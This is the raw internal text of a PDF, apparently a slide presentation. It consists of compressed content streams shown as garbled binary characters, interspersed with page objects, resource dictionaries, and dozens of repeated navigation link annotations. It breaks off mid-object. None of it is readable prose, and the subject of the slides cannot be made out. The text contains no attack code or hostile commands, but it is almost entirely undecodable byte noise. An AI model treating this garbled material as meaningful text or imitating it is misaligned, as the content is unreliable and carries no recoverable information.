n~9|$tMxt#+(,ODZiw^TY)UJtsZRvƘc1˓19ȼ[y<ϝs]]gpwZIr,YQ:wا)|qSZ$H4W- Rtd`G̙آ( t%DJHM:TU4&Ms==0 eYΟߊ1qikmmu]$v0 IS0 vhf:5ɩZSNZt< C:,˴YMVoir[wW8?IO۶rzG @[UhZxڶa/{T5v܋z./gι7{PɑeYj{EtgRAq~2CRW8(sk 5 /|jXW쬶lܽu]goDuN۠ L6s\NN9ڶ՟8֦G~wayfMӄa% -ڶ :al1(iFcRuE1]١V68}|QZ61e>,QҺ$IqfA$I1,KJr=Βps)|<}U8A11Q N麮Th,ˊXVhDcT[M%bSJFԾAn? '*{Q/sNx#J;ZKtqU8NuvA_΀h6Lq ð@߾ϖ7*3l]EE~UznEѴ|Jgs *HR21T|h_읬wr&©)s;YEkAW|ND#~ӻ9u]8{z46km}t')Kmi 94MEjFͮ oAqf&z5Q9)i邚yk>5({S&I&(pU6k=oQ͗Zp( 1km,ӛ|Aw\UTEd% j\t|O?\~;+3ʲ/Jb˅]I6c:nG$"=OF:ms}5}{G> $|;XMUxI~2j-%2\eYfY6ibggeSE#)u]Zc߲riZ=6bP>L?pwP=?q^Q:8ji84UjmF3/x`u/0TsGSp5%Ӣmt BK+ڶVA̘A<-׸lF"]c\q̈́>;&EO[Rm'CwVR,˲(KެV{}n?^~۶jrQ=fs!,0l_;{@;<ϩ]Eu]@䦷L_l[\+2sce\j_}w\~ZCLO^c繞ZV=X岮ka*1hl9VZS6_<nzAgl6e'n<\׺޻$It{? ߥ N{=Ρ~{W` Syfi]qښ8FYEQ4b,ˆaX.\#S_@UU]-[S͞?ippwc:9eYGr~XVKXdeaι0 /~]g2M+L83yRk}q䆁kb9뺮keٓeIW7WCuiy|ؠ6l3$ů^)nm ťv~pZBzj2E1o9u]7ϋ0ƬV+൩YQTUUE۶ݛPk*,'}w5)nD;cn.[,`fy4L;E_v8lǪfY4yo6jֲVZZ'I۶*?~z7Ɯ OXtqDJm۪!ͽsy0dYVU>0,RIsN2Z`rΩD{e{eYR?J$4 ҥ(LjFW8'7Z8_{+#\)nM;8* y`i8z^.|2͊躎 DZ뺢(fz,˓WO^T˲J'$;ϫRtk۶u]WUz*J=F(Vj%& àͧId\n۶m0TC4Myx_04M܅aضv].ޓ,,ctͲlJic̥$O- W^o$J?"%$I,=nڝ06!1F1F=t 3ޗsM轛9u7Rbpa^(]܆'IQkdѽ-j\.=XI*ރohUUAp;Ϯ{kvGcL$;Ѱ P|(% 8t O=Fr\^(^!+Z#)Z5Ѓ"Rg7ODn?;3KU 0 ^E(+k+RtKSӽe~E%:1=H\t{y5@;S䃮| S10#R1vfg|BΜ,>>Kri^軾ɿj6l:L ~FGG/ӟ^s+-Lu [h')r?هJyDJ<㟗)|y@w@/q~eǾcaNKڈY|>#}: 0 fҠקQ\*(}P"%﫪(}v8$H `>1u08aj$)́Ӡ94tQ%I ~1p * yWI~vB,E/}h? UJ Hu]+LNa$K]E%cSk#R9g}0 1Ƙ`/^2$IXkl6n/ u]4UUc<| UU54 mfSO˓vDQTfi64My4ף RskmYOT,ˮt=#RGpΥi6M篺[Eaf1Esރ'"%^8 E8V{虨^ qH W6c}+L2a*X>Mӟ*)'AZ(:oǹqᴻGQZ i']8ikmUUG>{4oooŢ(,qҝl(Wqj}_Ub|9WɑRaTH פRyRQ%Ir0,2$In۶ma8ay޶m}.0V<0JV:u̓Pz.r?2R.J[u"%^V̽ cLYMӨ(8I}ȇFQ]߇YkH 0  7+"նn>;ş,fzYk,/\ƘiSeEYACc(7TUUMnGkjieUU EcaU?=pyZcEJTTTuqgYaE0q\.0q>8uSO#"%^jh>>]88^9w8OR( G>1kHa4Ujޥ >"%^PQMw-:Y$M|qqUU?REeYOgI// ömWU =;:n{8P T*JD S6`J%x' c{Mr(89N"&p^?gOJ$%$(~ΊWu~>\Q-IJeXUU۶|>}I},}ߟ~߶mUUeYzR')SC$Oib$c]׷G!)'zk]44MdOyop8izֳX+8Ɗ<ϋizfaqYEQUUYm;I H$IӴ")YEq)!'_}v[.%6HJl )AR`4MmzyI$4i>=KR|ِu]4ONӴq|뺮qaxSZOp84Ms>g5tٙܬxBu^R?ya%GEQZQ1Nu?rq|a(2yNdr9WuK*]VnI UѶmL*MӾR\=baiS|^ZQ|\DZ(i~pyWU{ .o-6]O)7~#ɿ<ކ]׭yHJ PUҐyn5u笿g>Diʲ\bզ,ˮt˓>6Nx2+.2,4zxi^| PYZJeQt"nˀImb yZ6\kvˢ;=nQY q,[dEQy> C۶_y eYu$X(6|d<4]^?7s<ǪX;?Q۶8mQ;+]4Mx,2vKeq.2sTFn;l}4<ϳ,;l8hɔD[[ry;[oeAO]]׭ƴcl(^$E!foi:NQ>N.֍iqku!5> >> endobj 681 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 682 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 683 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 684 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 685 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 686 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 687 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 688 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 689 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 690 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 691 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 692 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 693 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 694 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 695 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 696 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 697 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 698 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 699 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 700 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 701 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 702 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 703 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 704 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 705 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 706 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 707 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 677 0 obj << /D [709 0 R /XYZ 334.488 1.245 null] >> endobj 711 0 obj << /D [709 0 R /XYZ 334.488 1.245 null] >> endobj 708 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm5 119 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm6 120 0 R /Im7 118 0 R /Im9 679 0 R >> /ProcSet [ /PDF /Text /ImageC ] >> endobj 744 0 obj << /Length 2024 /Filter /FlateDecode >> stream xYYo7~ׯ`_`ѼG@cCj,[s ݕvbq ,.r曃CV3&؋h%K^L9ťlYLnyy&ZhƱ% 2tƅ,pK ^qޑ#+YT;Z;^FIV{Ú[alE@ J}{GШdJkC<7%msr;!|>0\se8!8!lL$ ^!Z0/ bl`p̄<úHQM;cy%(&|Ev.c(gZ[|0-_ b dohrRT}$ey g3! K0]Isޤ%=GApHB/N 2{U's$A[>/Ѿ'Uۮ `4x8pKٕwp]|<`yNk lə, H E Xoa5WHQ^".UC+'}I_bdR#h^2{,*x dmTJ.@0)aRnT T#JIm[ lѭ ZylP5Ňj,bVM 4ԕtOi7kHY; oU綔&55kl* j̒]E|cj={Fʑ.;ACGr]6=,`ӈ \Fr;wmS pH;opHZwsk5N ],`HEX̂od*~pÑ (Hw}ߦ8G:R(ǮW2LÿO^> lT%k#5p/* ==o\-n.o`wl)g1z+p!O`Q%4܅D$0+쫞k xbG ME6V_A+>wPjyQR~V3WCp8a**p7M4[S NRξg.6"2 Rr[yV.ּ9. C_-&<؟$*fS:ˀ]/iLO2$8"[3Z 3cj^lp:*Xk(AI8re<rHAgGR<RtthnF >_ iWKij׻`K QQb~Aag^i !@nL1ޒbcLͱ(L-{vjL}o1Ddc:Wrl195ṃjq,fUdu ,eˣw4#%y~(yu_.Q z?3b""('91iVqjq#c觶 AiP,s`.OZ a)DXA/"1$Yi~A3'Xti0l68o$ºu9]$򪦽0X)gV \jcYl?es7g6xAjnv֌\}.bq/##YGqF7Iێom-bQsH>迩fu1({j$ k1Vݔ.Oȋvs*_t:/Jr!$2>OӱԿ';ӹlrGY#}98>`a%a/)Uî?Fz|k=7 ~ݺf[Zp= a endstream endobj 743 0 obj << /Type /Page /Contents 744 0 R /Resources 742 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 712 0 R /Annots [ 714 0 R 715 0 R 716 0 R 717 0 R 718 0 R 719 0 R 720 0 R 721 0 R 722 0 R 723 0 R 724 0 R 725 0 R 726 0 R 727 0 R 728 0 R 729 0 R 730 0 R 731 0 R 732 0 R 733 0 R 734 0 R 735 0 R 736 0 R 737 0 R 738 0 R 739 0 R 740 0 R 741 0 R ] >> endobj 714 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 715 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 716 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 717 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 718 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation13) >> >> endobj 719 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 720 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 721 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 722 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 723 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 724 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 725 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 726 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 727 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 728 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 729 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 730 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 731 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 732 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 733 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 734 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 735 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 736 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 737 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 738 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 739 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 740 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 741 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 713 0 obj << /D [743 0 R /XYZ 334.488 1.245 null] >> endobj 745 0 obj << /D [743 0 R /XYZ 334.488 1.245 null] >> endobj 742 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F15 155 0 R /F56 205 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm8 169 0 R /Fm9 170 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 777 0 obj << /Length 3703 /Filter /FlateDecode >> stream x\[sܶ~ׯ`_դq#.S_ZO<%w3j-kFkŒ4\rIJK(I\sW^UUJɜj*i%T7۝F{_º3'pUh[G'\FUzǛ@t 1Ix 7(eY|% RTӿomzp#[ >9AbwJ11P7VDWHyTTH1icReLЍ(,~d ̈o-(2%JIz xNWPsnŢ˖ eBM}IżX_9d ",^;s*=0J5̴}d`@ 0Zxp} WuAXu[aj0'ГDxe1 }dD ̼hiՑ4)+Ado)"cWkdjv{0ywCA]huByw4&ho8_!~: } Dg!Pgט#Scr8H"?g$\L3mJi)C\2nQ l e8x i0Nf4@T} <7ǹx+L 0tpJ:N~L mI ZEvZdml0zyaCYUj7'2͸q,ǠgAWlbh5`s dKU( (vjKۨ]AuuvJ3g1LV#}N).^^һBktT+р,` 8DwuQ!q5fbSatôc !!suhjvf ^>Dv0[bx0C8*Ldb!O=1ڵq2`%k%D7X|O_1w4ockF/NǽKZ"|¨wi$e o#p8kh opA09Є4Kٓs&]tS3de_V'Q-|O\i4ke $3M k^0(KۗWiܴj$Aƕw͗Qfji&=@ ik`Jdq) $.= ߅@N'TȯI2]÷40CO~4`@*=Z@ZJI>0 ku 4? &m6{RH R@ڸΗqR2jՌO? )8w%߫񀴸QwUa8aj92ڹ!ŐJ>rL!'As7/ti2'8ciwεOdˇc:e,xq),z=H9`Y{4s1[ Ue;3kSylPfJ'WvPCܳdr1]Dbdpұjul5ѐSZ/^R(/b,de^DX-$}N{7t\۴-F0\jF2n${^?l[{v<`i}D Vs܄ڀ?qc-GоJZ߆'hK}ɫ:3黶@0 鸔'i{]))AU#PB 4X|C=\YXQ--7wpwwKgPǡmo.~)(8;M!S ;!`ģ&nEN#a0N{Hlhr7ڙ&0ՈjW[bEc#|\zWh&xab§ ~ d<IO.4U# d=ch0:|Y'uK@c >.ϷDTܣOYt32q w3VDpi$eNw%ǷO8m^\p__V1ʼn<ϫ;yēQ*)_ǯ񄒌<<ң;"(ݿy-IGĝmfF<.yEeԓhl!Sk4}ǜAjm3|3C)gR.kU_'^7YǙӴ)\AL6}Kny_\'1 ׅ1p6/VFM{-:R„!돒AOIt\8{ cG'r m<3 }sb ǩ$iK,W֯|ZI"dEW[הu|O(||`A=H\S|!dL#Wp I endstream endobj 776 0 obj << /Type /Page /Contents 777 0 R /Resources 775 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 712 0 R /Annots [ 747 0 R 748 0 R 749 0 R 750 0 R 751 0 R 752 0 R 753 0 R 754 0 R 755 0 R 756 0 R 757 0 R 758 0 R 759 0 R 760 0 R 761 0 R 762 0 R 763 0 R 764 0 R 765 0 R 766 0 R 767 0 R 768 0 R 769 0 R 770 0 R 771 0 R 772 0 R 773 0 R 774 0 R ] >> endobj 747 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 748 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 749 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 750 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 751 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 5.96 260.708 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation14) >> >> endobj 752 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [258.716 5.96 265.69 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 753 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [263.697 5.96 270.671 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 754 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [268.679 5.96 275.652 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 755 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [275.071 5.96 282.044 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 756 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [280.052 5.96 287.026 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 757 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [285.033 5.96 292.007 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation16) >> >> endobj 758 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [290.014 5.96 296.988 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 759 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [296.406 5.96 303.38 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation10) >> >> endobj 760 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [301.388 5.96 308.362 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 761 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [306.369 5.96 313.343 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation20) >> >> endobj 762 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [311.35 5.96 318.324 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 763 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [317.742 5.96 328.701 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 764 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [326.709 5.96 339.66 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation28) >> >> endobj 765 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [339.078 5.96 348.045 15.425] /Subtype /Link /A<> >> endobj 766 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [346.052 5.96 354.022 15.425] /Subtype /Link /A<> >> endobj 767 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [352.03 5.96 360.996 15.425] /Subtype /Link /A<> >> endobj 768 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 264.495 182.414 271.878] /Subtype /Link /A << /S /GoTo /D (Navigation5) >> >> endobj 769 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 259.104 182.414 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation7) >> >> endobj 770 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 253.713 182.414 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation11) >> >> endobj 771 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [-0.996 248.323 182.414 255.706] /Subtype /Link /A << /S /GoTo /D (Navigation21) >> >> endobj 772 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 259.104 363.831 266.488] /Subtype /Link /A << /S /GoTo /D (Navigation12) >> >> endobj 773 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [180.421 253.713 363.831 261.097] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 774 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [181.43 -0.996 290.32 5.96] /Subtype /Link /A << /S /GoTo /D (Navigation1) >> >> endobj 746 0 obj << /D [776 0 R /XYZ 334.488 1.245 null] >> endobj 781 0 obj << /D [776 0 R /XYZ 334.488 1.245 null] >> endobj 775 0 obj << /ColorSpace 3 0 R /Pattern 2 0 R /ExtGState 1 0 R /Font << /F26 84 0 R /F38 85 0 R /F39 87 0 R /F69 778 0 R /F13 779 0 R /F10 780 0 R /F15 155 0 R /F53 154 0 R /F14 592 0 R >> /XObject << /Fm1 46 0 R /Fm7 124 0 R /Fm16 494 0 R /Fm3 53 0 R /Fm4 54 0 R /Fm2 52 0 R /Fm17 495 0 R /Im7 118 0 R >> /ProcSet [ /PDF /Text ] >> endobj 812 0 obj << /Length 2593 /Filter /FlateDecode >> stream xr@.k*mTq!:hVDJt<,b.@LgY1+Xq~¶wa4rRŠ SҳܺUK)QX𞡋onqm %T7899m҂^"Uzw6.~:@l]ni7 ̧8_W^ME| M;kgMH]pHR(e vH\Ɉ~ ն6atFf8T{[7SN$Hq]#|gE. R~z&]䜯@K7`4 L^6G8E?aꄾ69EcTPg~\qNȤqEn!6yێl@^*-BrNYcXQ9 ~[ }n^%02DU x{/l)le!ঔF6S;jQ/ _(cmxF`^pW$, #va?-`.3$%RAv ]Wlu ḇ`D-&''d;ZqUNPHG j뻯(t9 (8UIyHP{J:$).Cz:เ ^')u ( $SrE[*zց^yӏp2* ӦTzfuk!"f%Eל𥎩%/q_~k&1#D6nl[A2#j+P(m!=4:{lk 90G͂^כo$J CLKKbq R;tiD^0+1' Ci-\cs·I 13_LeZ~K=đ.F.a[ZT$2@c5ze8rD~4.{r0 C e?&dtaP܃^SG2d.ٝ-ھrwaH"`Kj>zZ:F[I0졧{[ V3їHOEsyPOyP>O,q 嚀ơ1J2<B Nx O|}cvzQ(c]YPk *Uq%IFA"rLnkF}oIi >&7&Xmޒ,C>ґҩ:>ov %%zp"%,M["i*bMy1j "w_֩Bcy~X*aMcipIOf;p 96(g r9m|!nGc\,danKQvW9M8㮫(ޕ8ḛX7aj6R6܉VSn&$ɿoB]C$k{ۉ_"bM~+JH MԲrVjY 6>ߞ&'yEJi & _M;!qmݱ]ۆr7&"M%mۆ:s/VssE?ѭ6*w.*^U?+?o¥ݦFIEmk& ]a]dN7x^^ ?1AT9O!\fSy#"61fRasTq:{ endstream endobj 811 0 obj << /Type /Page /Contents 812 0 R /Resources 810 0 R /MediaBox [0 0 362.835 272.126] /Trans << /S /R >> /Parent 712 0 R /Annots [ 782 0 R 783 0 R 784 0 R 785 0 R 786 0 R 787 0 R 788 0 R 789 0 R 790 0 R 791 0 R 792 0 R 793 0 R 794 0 R 795 0 R 796 0 R 797 0 R 798 0 R 799 0 R 800 0 R 801 0 R 802 0 R 803 0 R 804 0 R 805 0 R 806 0 R 807 0 R 808 0 R 809 0 R ] >> endobj 782 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[0 1 1] /Rect [336.542 15.425 360.996 40.094] /Subtype/Link/A<> >> endobj 783 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [232.399 5.96 240.369 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation15) >> >> endobj 784 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[1 0 0] /Rect [238.376 5.96 248.339 15.425] /Subtype /Link /A<> >> endobj 785 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [246.346 5.96 254.316 15.425] /Subtype /Link /A << /S /GoTo /D (Navigation17) >> >> endobj 786 0 obj << /Type /Annot /Border[0 0 0]/H/N/C[.5 .5 .5] /Rect [253.735 